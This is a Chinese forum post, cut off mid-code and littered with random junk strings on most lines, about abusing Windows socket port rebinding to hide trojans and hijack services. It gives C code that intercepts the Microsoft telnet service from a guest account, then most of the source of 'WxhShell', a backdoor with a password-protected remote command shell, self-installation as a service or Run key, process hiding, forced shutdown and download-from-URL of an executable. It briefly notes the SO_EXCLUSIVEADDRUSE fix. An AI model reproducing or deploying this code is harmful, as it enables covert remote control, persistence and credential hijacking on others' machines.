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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PPFt p3C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %t6-wWM97  
QEut@L  
  saddr.sin_family = AF_INET; {A< 961  
o(DG 3qk  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SmDNN^GR  
LibQlNW\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /9gn)q2f(  
ex`T 9j.=B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b{aB^a:f=L  
}%PK %/ zI  
  这意味着什么?意味着可以进行如下的攻击: 21Dc.t{  
IUEpE9_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1MO-60  
zx$1.IM"4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {9{X\|  
&uc`w{,Zs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 g5pFr=NV  
!&b| [b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~Gh7i>n*  
|cnps$fk~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 MCEHv}W  
s I\-0og  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?B e}{Qqlg  
mj9sX^$ dE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 } LC  
Fx.Ly]L  
  #include 'oY#a9~Z{  
  #include 9M($_2,44  
  #include ]&P\|b1*g  
  #include    P%Vq#5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vR!g1gI23  
  int main() 45wtl/^9  
  { "@hd\w{.  
  WORD wVersionRequested; XKws_  
  DWORD ret; U+>M@!=  
  WSADATA wsaData; 573,b7Yf  
  BOOL val; 1,) yEeHjU  
  SOCKADDR_IN saddr; T^`; wD  
  SOCKADDR_IN scaddr; !Tv3WQ@  
  int err; `#l3a  
  SOCKET s; NZ i3U  
  SOCKET sc; _ {wP:dI "  
  int caddsize; a,S;JF)v  
  HANDLE mt; Ic_NQ<8  
  DWORD tid;   i@5Fne  
  wVersionRequested = MAKEWORD( 2, 2 ); "|1iz2L  
  err = WSAStartup( wVersionRequested, &wsaData ); 9`N5$;NzY  
  if ( err != 0 ) { $F# 5/gDVQ  
  printf("error!WSAStartup failed!\n"); QM 3DB  
  return -1; 7p2xst  
  } UQ0<sI=  
  saddr.sin_family = AF_INET; >O24#!9XW  
   _ pz}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 51y"#\7  
< ]1,L%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lTq"j?#E]m  
  saddr.sin_port = htons(23); Q*%}w_D6f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }kr?+)wB  
  { LYRpd  
  printf("error!socket failed!\n"); /A-WI x  
  return -1; 7LrmI~P  
  } 37jxl+  
  val = TRUE; 7g"u)L&32  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KsOWTq"uj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]nB|8k=J  
  { jmk Ou5@  
  printf("error!setsockopt failed!\n"); @ G)yz!H  
  return -1; _,T 4DS6  
  } A)C)5W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zX&SnT1~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9|}Pf_5]%[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1\&j)3mC  
%;dj6):@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9/(jY$Ar  
  { ,oA<xP-*  
  ret=GetLastError(); @0@ZlH wM  
  printf("error!bind failed!\n"); mvZ#FF1,J  
  return -1; + tMf&BZ  
  } V9v20iX  
  listen(s,2); ,u2Qkw  
  while(1) tWIJ,_8l  
  { P$z_A8}  
  caddsize = sizeof(scaddr); <R /\nYXz  
  //接受连接请求 qt~=47<d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Df^F)\7!N?  
  if(sc!=INVALID_SOCKET) Y"MHs0O5>  
  { 3@gsKtA&H4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (*9.GyK  
  if(mt==NULL) _rwJ: r  
  { Y/FPkH4  
  printf("Thread Creat Failed!\n"); \uJRjw+  
  break; w]0@V}}u$o  
  } zOs}v{8"  
  } 3O/#^~\'hW  
  CloseHandle(mt); FzJ7 OE |  
  } _?I{>:!|  
  closesocket(s); xmvE*q"9]  
  WSACleanup(); {?H5Pw>{%h  
  return 0; (h3L=  
  }   EsMX #1>/m  
  DWORD WINAPI ClientThread(LPVOID lpParam) hGz_F/  
  { sCFxn  
  SOCKET ss = (SOCKET)lpParam; pUXoSnIq:  
  SOCKET sc; H;1@]|sH#  
  unsigned char buf[4096]; eluN~T:W  
  SOCKADDR_IN saddr; __g k:a>oQ  
  long num; pd|KIs%jl  
  DWORD val; !ajBZ>Q  
  DWORD ret; aj1]ZT \  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OM*c7&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -&5YRfr!  
  saddr.sin_family = AF_INET; ^viabkf C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q\N*)&Sd<M  
  saddr.sin_port = htons(23); ITn%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t*gZcw5 r  
  { t}YcB`q)  
  printf("error!socket failed!\n"); !ZYPz}&N_  
  return -1; B.q/}\ ?(  
  } <q'l7 S  
  val = 100; zt(lV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l6/VJ~(}'  
  { )L:z r#  
  ret = GetLastError(); .<"XE7  
  return -1; Dr3_MWJ+  
  } s@F&N9oh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]vvYPRV76  
  { F8f}PV]b  
  ret = GetLastError(); Jka>Er  
  return -1; VeYT[Us"  
  } AW]\n;f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D'g,<-ahl  
  { v675C#l(  
  printf("error!socket connect failed!\n"); .kT]^rv ;  
  closesocket(sc); q[&Kr+)j  
  closesocket(ss); K^u,B3  
  return -1; 5=pE*ETJ  
  } $UR:j8C{p$  
  while(1) mmTpF]t ?`  
  { *N">93:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _U s"   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 DrK]U}3fh"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J9Ao*IW~  
  num = recv(ss,buf,4096,0); I/O3OD  
  if(num>0) [,o:nry'a  
  send(sc,buf,num,0); }[AaI #  
  else if(num==0) *uc/| c  
  break; |P >"a`  
  num = recv(sc,buf,4096,0); A)f-r  
  if(num>0) VOEV[?>ss  
  send(ss,buf,num,0); u]yy%@U1  
  else if(num==0) fVbjU1N  
  break; #Rw!a#CX.  
  } jI ol`WX  
  closesocket(ss); fAs b:P  
  closesocket(sc); =zkN63S  
  return 0 ; c1#0o) q*7  
  } 9&lemz  
/ZvP.VW&  
EXDDUqZ5\  
========================================================== i2=- su  
h^Wb<O`S  
下边附上一个代码,,WXhSHELL Sdu\4;(  
)bUnk +_  
========================================================== giakEPl  
9\Ii$Mp  
#include "stdafx.h" l_g$6\&|  
j-<-!jTd  
#include <stdio.h> =:H-9  
#include <string.h> PLCm\Oh$l  
#include <windows.h> 8 v/H;65  
#include <winsock2.h> FM {f{2j  
#include <winsvc.h> R(1:I@<?E  
#include <urlmon.h> c]6b|mHT  
c!EA>:;(<  
#pragma comment (lib, "Ws2_32.lib") _{[6hf4p  
#pragma comment (lib, "urlmon.lib") Y2`sL,'h  
wvv+~K9jq  
#define MAX_USER   100 // 最大客户端连接数 Y~"tL(WfJl  
#define BUF_SOCK   200 // sock buffer JipNI8\r  
#define KEY_BUFF   255 // 输入 buffer %e iV^>  
C QkY6  
#define REBOOT     0   // 重启 Zxebv# 4  
#define SHUTDOWN   1   // 关机 @6;OF5VsQ  
wWl ?c  
#define DEF_PORT   5000 // 监听端口 7HPwlS  
p6DI7<C<H  
#define REG_LEN     16   // 注册表键长度 @:N8V[*u  
#define SVC_LEN     80   // NT服务名长度 4 &bmt  
F2N"aQ&  
// 从dll定义API NI?O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )OI}IWDl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); { DYY9MG8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +~8Lc'0aA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o,7|=.-b  
_Ewh:IM-  
// wxhshell配置信息 j7}mh  
struct WSCFG { j.=:S;  
  int ws_port;         // 监听端口 %\JGDM*m  
  char ws_passstr[REG_LEN]; // 口令 t&?jJ7 (&8  
  int ws_autoins;       // 安装标记, 1=yes 0=no lNX*s E .  
  char ws_regname[REG_LEN]; // 注册表键名 Ao K9=F}  
  char ws_svcname[REG_LEN]; // 服务名 " MnWd BS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 72nZ`u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \K$\-]N+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |8 ` }8vo)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f^pBXz9&=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @76}d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x^lc T  
~XR ('}5D  
}; L^qCE-[  
m` 1dB%;?  
// default Wxhshell configuration >CvhTrPI  
struct WSCFG wscfg={DEF_PORT, [UwQi!^-O  
    "xuhuanlingzhe", bxa>:71  
    1, y[7M(K  
    "Wxhshell", A@?0(  
    "Wxhshell", Uh/=HNR  
            "WxhShell Service", klKUX/ g  
    "Wrsky Windows CmdShell Service", ^Gk)aX  
    "Please Input Your Password: ", & AK\Pw)  
  1, 6 IvAs-%W  
  "http://www.wrsky.com/wxhshell.exe", h1~h& F?  
  "Wxhshell.exe" =%` s-[5b  
    }; 6FDj:~  
HzM\<YD  
// 消息定义模块 A;8kC}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n n F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +.Vh<:?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2)IM<rf'^  
char *msg_ws_ext="\n\rExit."; 2S7 BzZ/  
char *msg_ws_end="\n\rQuit."; h1S)B|~8  
char *msg_ws_boot="\n\rReboot..."; k -G9'c~  
char *msg_ws_poff="\n\rShutdown..."; P[fy  
char *msg_ws_down="\n\rSave to "; D2VYw<tEA  
4L>8RiiQE;  
char *msg_ws_err="\n\rErr!"; ;?q(8^A  
char *msg_ws_ok="\n\rOK!"; h GA2.{  
k2eKs*WLC  
char ExeFile[MAX_PATH]; @7}XBg[pI  
int nUser = 0; C9+rrc@4  
HANDLE handles[MAX_USER]; +788aK,{#  
int OsIsNt; SE*;6&yL  
0V6, &rTF  
SERVICE_STATUS       serviceStatus; xDeM7L'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ="]lN  
8b0j rt  
// 函数声明 c) Eu(j\#  
int Install(void); MR|A_e^x  
int Uninstall(void); 9]N{8  
int DownloadFile(char *sURL, SOCKET wsh); <k[_AlCmsg  
int Boot(int flag); yl?LXc[)  
void HideProc(void); 4U\>TFO  
int GetOsVer(void); iZk4KX  
int Wxhshell(SOCKET wsl); ^6# yL6E,~  
void TalkWithClient(void *cs); Xc+YoA0Ez  
int CmdShell(SOCKET sock); GTOA>RB2  
int StartFromService(void); a;dWM(;Kw  
int StartWxhshell(LPSTR lpCmdLine); wmV=GV8 d  
. AA# G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q1Qw45$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q.9,W=<6  
cFie;k  
// 数据结构和表定义 }WJX Q@  
SERVICE_TABLE_ENTRY DispatchTable[] = ,X|FyO(p  
{ _S[@?]=`b  
{wscfg.ws_svcname, NTServiceMain}, =W2.Nc  
{NULL, NULL} Zbl*U(KU?  
}; =P,mix|  
XR8`,qH>  
// 自我安装 +Y*4/w[   
int Install(void) o[wiQ9Tl  
{ 5M>p%/  
  char svExeFile[MAX_PATH]; c\[&IlM  
  HKEY key; B t3++ Mj  
  strcpy(svExeFile,ExeFile); O.#R r/+)  
{R(/Usg!=  
// 如果是win9x系统,修改注册表设为自启动 ;~ Xjk  
if(!OsIsNt) { 8aQTm- {m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p-"wY?q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~YNzSkz  
  RegCloseKey(key); ;s~xS*(C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m; =S]3P*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p\I3fI0i  
  RegCloseKey(key); _`C|K>:  
  return 0; CBdr 1  
    } Y&M{7  
  } ~eTp( XG  
} !<h9XccN  
else { qDg`4yX.}  
- A}$5/  
// 如果是NT以上系统,安装为系统服务 dC4`xUv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gzK/l:  
if (schSCManager!=0) r.@UH-2c  
{ 6qV1_M#  
  SC_HANDLE schService = CreateService ;E{@)X..|  
  ( L kafB2y  
  schSCManager, }j6|+  
  wscfg.ws_svcname, {?w *n_T.  
  wscfg.ws_svcdisp, A$~H`W<yxB  
  SERVICE_ALL_ACCESS, mGwJ>'+d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /Re67cMQ*  
  SERVICE_AUTO_START, Z @m5hx&  
  SERVICE_ERROR_NORMAL, kVeY} 8  
  svExeFile, ?TDmW8G}J  
  NULL, (.z0.0W  
  NULL, -NzOX"V]3  
  NULL, .1h\r, #  
  NULL, =JTwH>fD  
  NULL g C8 deC8  
  ); tT A  
  if (schService!=0) va(6?"9  
  { Rc@lGq9  
  CloseServiceHandle(schService); B'B0e`  
  CloseServiceHandle(schSCManager); LEg|R+ 6E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0aGauG[  
  strcat(svExeFile,wscfg.ws_svcname); *!NW!,R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _M>S=3w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >Ir?)h  
  RegCloseKey(key); `Lw Z(M-hI  
  return 0; e=tM=i"  
    } !t)uRJ   
  } h^."wv  
  CloseServiceHandle(schSCManager); 5M>SrZH  
} djdSD  
} Uu`}| &@i  
t1#f*G5  
return 1; C3<_0eI  
} O"[#g  
C-Y7n5  
// 自我卸载 ~2NT Xp  
int Uninstall(void) za.^vwkBk2  
{ DfOig LG*  
  HKEY key; A,#z_2~  
6il+hz2&lH  
if(!OsIsNt) { -|czhO)R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { grd fR`3  
  RegDeleteValue(key,wscfg.ws_regname); EL *l5!Iu  
  RegCloseKey(key); Pl|*+g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ccW{88II7w  
  RegDeleteValue(key,wscfg.ws_regname); v`jFWq8I,  
  RegCloseKey(key); +b dnTV6  
  return 0; =lh&oPc1  
  } >u `Ci>tY  
} \3t)7.:4  
} {X\FS   
else { MLmk=&d  
Pi[(xD8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kgX"I ?>d  
if (schSCManager!=0) HM\}C.u  
{ Je#3   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tgrZs8?  
  if (schService!=0) yAJrdY"  
  { 51>OwEf<R  
  if(DeleteService(schService)!=0) { K!G/iz9SB  
  CloseServiceHandle(schService); KXo[;Db)k  
  CloseServiceHandle(schSCManager); Nu; 9  
  return 0; {RH)&k&%  
  } jdD`C`w|,  
  CloseServiceHandle(schService); T,4REbm^  
  } rIj B{X{Z  
  CloseServiceHandle(schSCManager); WODgG@w  
} )5U7w  
} G7HvA46  
38RyUHL=  
return 1; QJH~YV\%  
} OFlY"O S[  
wo) lkovd  
// 从指定url下载文件 =NL(L  
int DownloadFile(char *sURL, SOCKET wsh) KlRIJOS  
{ g^2H(}frc  
  HRESULT hr; YR~)07  
char seps[]= "/"; OWHHN<  
char *token; ){i 9,u")  
char *file; n\4sNoFI  
char myURL[MAX_PATH]; i"y @Aj!7  
char myFILE[MAX_PATH]; iC<qWq|S_m  
`c_Wk] i  
strcpy(myURL,sURL); 4{=^J2z  
  token=strtok(myURL,seps); I6 Q{ Axy  
  while(token!=NULL) Al}%r85  
  { :\G`}_db'  
    file=token; D +9l$**a  
  token=strtok(NULL,seps); bX&=*L+ h6  
  } 1:q5h*  
<SNu`,/I  
GetCurrentDirectory(MAX_PATH,myFILE); D3;#:  
strcat(myFILE, "\\"); -xU4s  
strcat(myFILE, file); CF@j]I@{   
  send(wsh,myFILE,strlen(myFILE),0); "?{=|%mf  
send(wsh,"...",3,0); |VML.u:N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7a<:\F}E0  
  if(hr==S_OK) ;[[oZ  
return 0; +Rd;>s*.Y  
else eq$.np  
return 1; $2pkh%  
MJI`1*(  
} Vqxxm&^P  
8A2_4q@34  
// 系统电源模块 O/PO?>@-/  
int Boot(int flag) `"qSr%|  
{ j q1 |`:  
  HANDLE hToken; qv$m5CJvK  
  TOKEN_PRIVILEGES tkp; O3["5  
w|8T6W|w  
  if(OsIsNt) { nK9?|@S*'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !$8 e6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v,A8Mk2s#  
    tkp.PrivilegeCount = 1; p;9"0rj,z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F>[T)t{m=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hn!13+fS  
if(flag==REBOOT) { |#`qP^E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #hF(`oX}4K  
  return 0; 78/,rp#'_  
} RD0=\!w*5  
else { <K zEn+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZA6)@Mn  
  return 0; *t,1(Gw|7q  
} R>n=_C  
  } {E$smX  
  else { 3DS&-rN  
if(flag==REBOOT) { &-hXk!A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |WDMyKf6J  
  return 0; zM2 _z  
} |kh7F0';"  
else { %{;1i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $ucA.9pJ  
  return 0; {>n\B~*,"C  
} GX ;~K  
} ~l"]J'jF"H  
Z=j6c"  
return 1;  w0`8el;  
} fm1yZX?`  
b ]u01T-  
// win9x进程隐藏模块 fuF!3Q  
void HideProc(void) AS'%Md&I  
{ }YCpd)@  
:B  9>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jcL%_of  
  if ( hKernel != NULL ) D,P{ ,/  
  { `R6dnbH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cogIkB&Ju  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $* hqF1Q  
    FreeLibrary(hKernel); K2 6`wt  
  } 2rPmu  
&hu>yH>j  
return; Xli$4 uL   
} jIi:tO9G^,  
_=-B%m  
// 获取操作系统版本 #.j}:  
int GetOsVer(void) w?:tce   
{ +^|_vq^XR  
  OSVERSIONINFO winfo; D1R$s*{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?/|KM8  
  GetVersionEx(&winfo); "."ow|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K*S3{s%UR  
  return 1; #ADm^UT^  
  else qsWy <yL+  
  return 0; v6P2v  
} h?'~/@  
+h08uo5c  
// 客户端句柄模块 yQ0:M/r;0  
int Wxhshell(SOCKET wsl) $Da?)Hz'F  
{ 7zq@T]  
  SOCKET wsh; o3YW(%cYR  
  struct sockaddr_in client; JIPBJ  
  DWORD myID; e2^TQv2(=e  
uH]oHh!}j  
  while(nUser<MAX_USER) &P7Z_&34Z  
{ VYjt/\ Z  
  int nSize=sizeof(client); DS=$* Trk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T>68 ,; p  
  if(wsh==INVALID_SOCKET) return 1; =;"=o5g_  
LwYWgT\e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `I.pwst8i-  
if(handles[nUser]==0) JED\"(d(  
  closesocket(wsh); rCUGaf~  
else |'-%d^ Z  
  nUser++; $*;`$5.x^  
  } J6Vx7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *:"@  
S$ffTdRz  
  return 0; m!5Edo-;<  
} 1mD)G55Ep  
%=!] 1  
// 关闭 socket _b$ yohQ  
void CloseIt(SOCKET wsh) -9::M}^2  
{ 6?'7`p  
closesocket(wsh); v7 n@CWnN  
nUser--; q=}1ud}1  
ExitThread(0); u*/+cT  
} P0pBR_:o  
Z&O6<=bg!  
// 客户端请求句柄 bQ(-M:  
void TalkWithClient(void *cs) IVY)pS"pR"  
{ \W]gy_=D{  
SL-;h#-y 4  
  SOCKET wsh=(SOCKET)cs; 5vg="@O K  
  char pwd[SVC_LEN]; c]zFZJ6M  
  char cmd[KEY_BUFF]; hD=.rDvO  
char chr[1]; v2_` iwE  
int i,j; yM~bUmSg  
7i!VgV  
  while (nUser < MAX_USER) { J ZkQ/vp(  
z:4_f:70  
if(wscfg.ws_passstr) { *MB >,HU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); em'ADRxG+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _OC@J*4.  
  //ZeroMemory(pwd,KEY_BUFF); 'NZ=DSGIy  
      i=0; 5'c#pm\Q  
  while(i<SVC_LEN) { =J4|"z:  
7f4O~4.[i  
  // 设置超时 g/fpXO\  
  fd_set FdRead; nwh@F1|  
  struct timeval TimeOut; [q_+s  
  FD_ZERO(&FdRead); a{.q/Tbt  
  FD_SET(wsh,&FdRead); pQKSPr  
  TimeOut.tv_sec=8; u>n"FL 'e  
  TimeOut.tv_usec=0; !1fZ7a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )Qd x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1"L"LU'  
;}j(x;l>t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f um.G{}  
  pwd=chr[0]; P6R_W  
  if(chr[0]==0xd || chr[0]==0xa) { ,|B-Nq  
  pwd=0; yji[Yde;|  
  break; U!`iKy-  
  } s<)lC;#e  
  i++; msM1K1er  
    } 8M@'A5]  
mr^3Y8 $s  
  // 如果是非法用户,关闭 socket -X~mW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )muNfs m  
} +)iMJ]>  
uTxa5j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `}$o<CJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b.@a,:"  
=I'3C']Z W  
while(1) { S k~"-HL|  
R2gV(L(!!  
  ZeroMemory(cmd,KEY_BUFF); %^pi  
<"J]u@|  
      // 自动支持客户端 telnet标准   jk{(o09  
  j=0; O,%,dtD[a  
  while(j<KEY_BUFF) { wDZ<UP=X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AQg|lKv  
  cmd[j]=chr[0]; `;E/\eG"  
  if(chr[0]==0xa || chr[0]==0xd) { u] };QR  
  cmd[j]=0; |zYOCDFf  
  break; Ve3z5d:^  
  } |4Q*4s  
  j++; B6Vlc{c5SO  
    } {P]C>  
FM >ae-L-  
  // 下载文件 :x)H!z P  
  if(strstr(cmd,"http://")) { KLg1(W(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G @..?>  
  if(DownloadFile(cmd,wsh)) s|]g@cz an  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X#lNS+&='  
  else HUi?\4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (Q^sK\  
  } aa`(2%(:  
  else { " B#|C'   
h'):/}JPl  
    switch(cmd[0]) { ["Ltqgx  
  * x/!i^  
  // 帮助 D(#f`Fj;  
  case '?': { GiV %Hcx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B7C3r9wj  
    break; =|S%Rzsk  
  } !Rn6x $_  
  // 安装 8Xot ly  
  case 'i': { ~&i4FuK  
    if(Install()) BBB@M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;sZG=y@  
    else $;qi -K3j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Z7`TnG$uf  
    break; Tlsh[@Q  
    } jwDlz.sW!  
  // 卸载 $KiCs]I+  
  case 'r': { .Pc>1#z&[  
    if(Uninstall()) lkn|>U[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jz}nV1G(jz  
    else #DTKz]i?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /4:bx#;A  
    break; 1i76u!{U  
    } _ E;T"SC  
  // 显示 wxhshell 所在路径 Zv u6/#  
  case 'p': { Z/#_Swv  
    char svExeFile[MAX_PATH]; `8:)? 0Ez  
    strcpy(svExeFile,"\n\r"); zfIo] M`  
      strcat(svExeFile,ExeFile); yn4T!r "  
        send(wsh,svExeFile,strlen(svExeFile),0); xM*_1+<dT$  
    break; " O&93#8  
    } Q`ua9oIJ=  
  // 重启 ^SdF\uk{?6  
  case 'b': { T*z]<0E]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Xwm3# o.&)  
    if(Boot(REBOOT)) l!mbpFt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )`\hK  
    else { xY^sC56Z  
    closesocket(wsh); 25Dl4<-Z  
    ExitThread(0); ~M C|  
    } k ut=( ;  
    break; ZZw`8 E  
    } <n2@;` D  
  // 关机 8+zW:0"[  
  case 'd': { 3db{Tcn\@]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w?Te%/s.  
